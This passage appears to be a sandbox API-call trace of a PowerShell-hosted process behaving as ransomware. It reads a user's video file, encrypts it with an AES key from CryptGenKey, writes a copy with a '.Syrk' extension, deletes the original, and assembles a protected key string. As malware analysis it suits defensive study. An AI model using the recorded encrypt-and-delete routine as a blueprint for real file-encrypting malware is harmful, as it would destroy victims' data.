lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24e804c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0256.434] WriteFile (in: hFile=0x368, lpBuffer=0x2500edc*, nNumberOfBytesToWrite=0x3d34, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2500edc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x3d34, lpOverlapped=0x0) returned 1 [0256.434] ReadFile (in: hFile=0x364, lpBuffer=0x24ebed8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24ebed8*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0256.435] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2504c1c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2504c1c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0256.435] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2504c38*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2504c38*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0256.435] WriteFile (in: hFile=0x368, lpBuffer=0x24e804c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24e804c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0256.435] CloseHandle (hObject=0x368) returned 1 [0256.436] CloseHandle (hObject=0x364) returned 1 [0256.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.437] EtwEventActivityIdControl () returned 0x0 [0256.437] EtwEventActivityIdControl () returned 0x0 [0256.437] EtwEventActivityIdControl () returned 0x0 [0256.470] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi")) returned 0x20 [0256.473] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0256.473] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", lpFilePart=0x0) returned 0x2a [0256.473] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.473] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.473] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0256.474] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0256.474] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.474] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.474] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0256.474] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0256.474] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.475] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0256.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0256.475] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0256.475] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0256.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0256.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0256.475] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi")) returned 0x20 [0256.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0256.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", lpFilePart=0x0) returned 0x2a [0256.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0256.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", lpFilePart=0x0) returned 0x2a [0256.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0256.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0256.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", lpFilePart=0x0) returned 0x2a [0256.480] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0256.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0256.480] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0256.480] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0256.480] CoTaskMemFree (pv=0x3b0008) [0256.482] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi")) returned 0x20 [0256.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0256.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", lpFilePart=0x0) returned 0x2a [0256.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0256.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi"), fInfoLevelId=0x0, lpFileInformation=0x250fb78 | out: lpFileInformation=0x250fb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87b7ab0, ftCreationTime.dwHighDateTime=0x1d98d3c, ftLastAccessTime.dwLowDateTime=0x38f1b420, ftLastAccessTime.dwHighDateTime=0x1d99117, ftLastWriteTime.dwLowDateTime=0x38f1b420, ftLastWriteTime.dwHighDateTime=0x1d99117, nFileSizeHigh=0x0, nFileSizeLow=0x4d2d)) returned 1 [0256.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0256.483] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi")) returned 1 [0256.485] EtwEventActivityIdControl () returned 0x0 [0256.486] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.486] EtwEventActivityIdControl () returned 0x0 [0256.486] EtwEventActivityIdControl () returned 0x0 [0256.486] EtwEventActivityIdControl () returned 0x0 [0256.495] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi.syrk")) returned 0x20 [0256.496] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi.syrk")) returned 0x20 [0256.497] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0256.497] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk", lpFilePart=0x0) returned 0x2f [0256.497] EtwEventActivityIdControl () returned 0x0 [0256.497] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.498] EtwEventActivityIdControl () returned 0x0 [0256.498] EtwEventActivityIdControl () returned 0x0 [0256.498] EtwEventActivityIdControl () returned 0x0 [0256.504] EtwEventActivityIdControl () returned 0x0 [0256.505] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.505] EtwEventActivityIdControl () returned 0x0 [0256.505] EtwEventActivityIdControl () returned 0x0 [0256.505] EtwEventActivityIdControl () returned 0x0 [0256.510] EtwEventActivityIdControl () returned 0x0 [0256.510] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.510] EtwEventActivityIdControl () returned 0x0 [0256.510] EtwEventActivityIdControl () returned 0x0 [0256.510] EtwEventActivityIdControl () returned 0x0 [0256.515] EtwEventActivityIdControl () returned 0x0 [0256.515] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.517] EtwEventActivityIdControl () returned 0x0 [0256.517] EtwEventActivityIdControl () returned 0x0 [0256.517] EtwEventActivityIdControl () returned 0x0 [0256.522] EtwEventActivityIdControl () returned 0x0 [0256.522] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.523] EtwEventActivityIdControl () returned 0x0 [0256.523] EtwEventActivityIdControl () returned 0x0 [0256.523] EtwEventActivityIdControl () returned 0x0 [0256.527] EtwEventActivityIdControl () returned 0x0 [0256.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0256.535] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2519170 | out: lpFileInformation=0x2519170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146ea3b0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x146ea3b0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x146ea3b0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x4d44)) returned 1 [0256.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0256.536] GetConsoleOutputCP () returned 0x1b5 [0256.536] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.536] GetConsoleOutputCP () returned 0x1b5 [0256.537] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.537] GetConsoleOutputCP () returned 0x1b5 [0256.537] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.537] GetConsoleOutputCP () returned 0x1b5 [0256.537] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.537] GetConsoleOutputCP () returned 0x1b5 [0256.537] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.538] GetConsoleOutputCP () returned 0x1b5 [0256.538] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.538] GetConsoleOutputCP () returned 0x1b5 [0256.538] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.538] GetConsoleOutputCP () returned 0x1b5 [0256.538] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.538] GetConsoleOutputCP () returned 0x1b5 [0256.539] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.539] GetConsoleOutputCP () returned 0x1b5 [0256.539] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.539] GetConsoleOutputCP () returned 0x1b5 [0256.539] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.539] GetConsoleOutputCP () returned 0x1b5 [0256.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.540] GetConsoleOutputCP () returned 0x1b5 [0256.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.540] GetConsoleOutputCP () returned 0x1b5 [0256.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.540] GetConsoleOutputCP () returned 0x1b5 [0256.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.541] GetConsoleOutputCP () returned 0x1b5 [0256.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.541] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0256.541] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0256.542] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2532da0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2532da0*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0256.542] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0256.543] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0256.544] EtwEventActivityIdControl () returned 0x0 [0256.544] EtwEventActivityIdControl () returned 0x0 [0256.545] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.545] EtwEventActivityIdControl () returned 0x0 [0256.545] EtwEventActivityIdControl () returned 0x0 [0256.545] EtwEventActivityIdControl () returned 0x0 [0256.548] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.549] EtwEventActivityIdControl () returned 0x0 [0256.549] EtwEventActivityIdControl () returned 0x0 [0256.549] EtwEventActivityIdControl () returned 0x0 [0256.551] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0256.553] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c999a0) returned 1 [0256.553] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.553] CryptExportKey (in: hKey=0x5c999a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0256.553] CryptExportKey (in: hKey=0x5c999a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x253a778, pdwDataLen=0x5a2e8c4 | out: pbData=0x253a778*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0256.554] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.554] EtwEventActivityIdControl () returned 0x0 [0256.554] EtwEventActivityIdControl () returned 0x0 [0256.555] EtwEventActivityIdControl () returned 0x0 [0256.556] SysStringLen (param_1="") returned 0x8 [0256.556] SysStringLen (param_1="F") returned 0x8 [0256.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.556] SysStringLen (param_1="⿜앥즬\賟\쯜\퓜∺) returned 0x8 [0256.556] SysStringLen (param_1="⿜앥즬\賟\쯜\퓜∺) returned 0x8 [0256.556] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.556] SysStringLen (param_1="Fh") returned 0x8 [0256.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.557] SysStringLen (param_1="ꭳ㌑滺ꦭ\䣞䆐ꪐ⋅) returned 0x8 [0256.557] SysStringLen (param_1="ꭳ㌑滺ꦭ\䣞䆐ꪐ⋅) returned 0x8 [0256.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.557] SysStringLen (param_1="Fhb") returned 0x8 [0256.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.557] SysStringLen (param_1="ا最귃鬘勲뿯聁ъ") returned 0x8 [0256.557] SysStringLen (param_1="ا最귃鬘勲뿯聁ъ") returned 0x8 [0256.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.557] SysStringLen (param_1="Fhbh") returned 0x8 [0256.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.558] SysStringLen (param_1="䶄꣙簩未髎咚") returned 0x8 [0256.558] SysStringLen (param_1="䶄꣙簩未髎咚") returned 0x8 [0256.558] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.558] SysStringLen (param_1="Fhbhh") returned 0x8 [0256.558] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.558] SysStringLen (param_1="觰㹟暘沟鎰亇豱弭") returned 0x8 [0256.558] SysStringLen (param_1="觰㹟暘沟鎰亇豱弭") returned 0x8 [0256.558] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.558] SysStringLen (param_1="Fhbhhp") returned 0x8 [0256.558] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.559] SysStringLen (param_1="㼲坪쌱넱竬࿰鋃") returned 0x8 [0256.559] SysStringLen (param_1="㼲坪쌱넱竬࿰鋃") returned 0x8 [0256.559] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.559] SysStringLen (param_1="Fhbhhpt") returned 0x8 [0256.559] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.559] SysStringLen (param_1="ꍆ﹧閾謈Č椡蛌삠") returned 0x8 [0256.559] SysStringLen (param_1="ꍆ﹧閾謈Č椡蛌삠") returned 0x8 [0256.559] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.559] SysStringLen (param_1="Fhbhhpt3") returned 0x8 [0256.559] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.560] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁") returned 0x8 [0256.560] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁") returned 0x8 [0256.560] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁") returned 0x8 [0256.561] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁") returned 0x10 [0256.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.561] SysStringLen (param_1="Fhbhhpt3M桇됏ഃ᜻抇踽塺") returned 0x10 [0256.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.561] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁느鬗ᦚ茅ૂ鞗롰焳") returned 0x10 [0256.561] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁느鬗ᦚ茅ૂ鞗롰焳") returned 0x10 [0256.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.561] SysStringLen (param_1="Fhbhhpt3MX됏ഃ᜻抇踽塺") returned 0x10 [0256.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.562] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁促韞톞֥텛ᤘ하") returned 0x10 [0256.562] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁促韞톞֥텛ᤘ하") returned 0x10 [0256.562] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.562] SysStringLen (param_1="Fhbhhpt3MXyഃ᜻抇踽塺") returned 0x10 [0256.562] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.562] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁眔ֽƬఅ੖끢눋") returned 0x10 [0256.562] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁眔ֽƬఅ੖끢눋") returned 0x10 [0256.562] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.562] SysStringLen (param_1="Fhbhhpt3MXyP᜻抇踽塺") returned 0x10 [0256.562] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.563] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁㓪ꎄ䟑錃驴㝌ꝴ") returned 0x10 [0256.563] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁㓪ꎄ䟑錃驴㝌ꝴ") returned 0x10 [0256.563] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.563] SysStringLen (param_1="Fhbhhpt3MXyPq抇踽塺") returned 0x10 [0256.563] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.563] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁簫✬Ņˑ䋀ﯴ♏") returned 0x10 [0256.563] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁簫✬Ņˑ䋀ﯴ♏") returned 0x10 [0256.563] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.563] SysStringLen (param_1="Fhbhhpt3MXyPqf踽塺") returned 0x10 [0256.563] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.564] SysStringLen 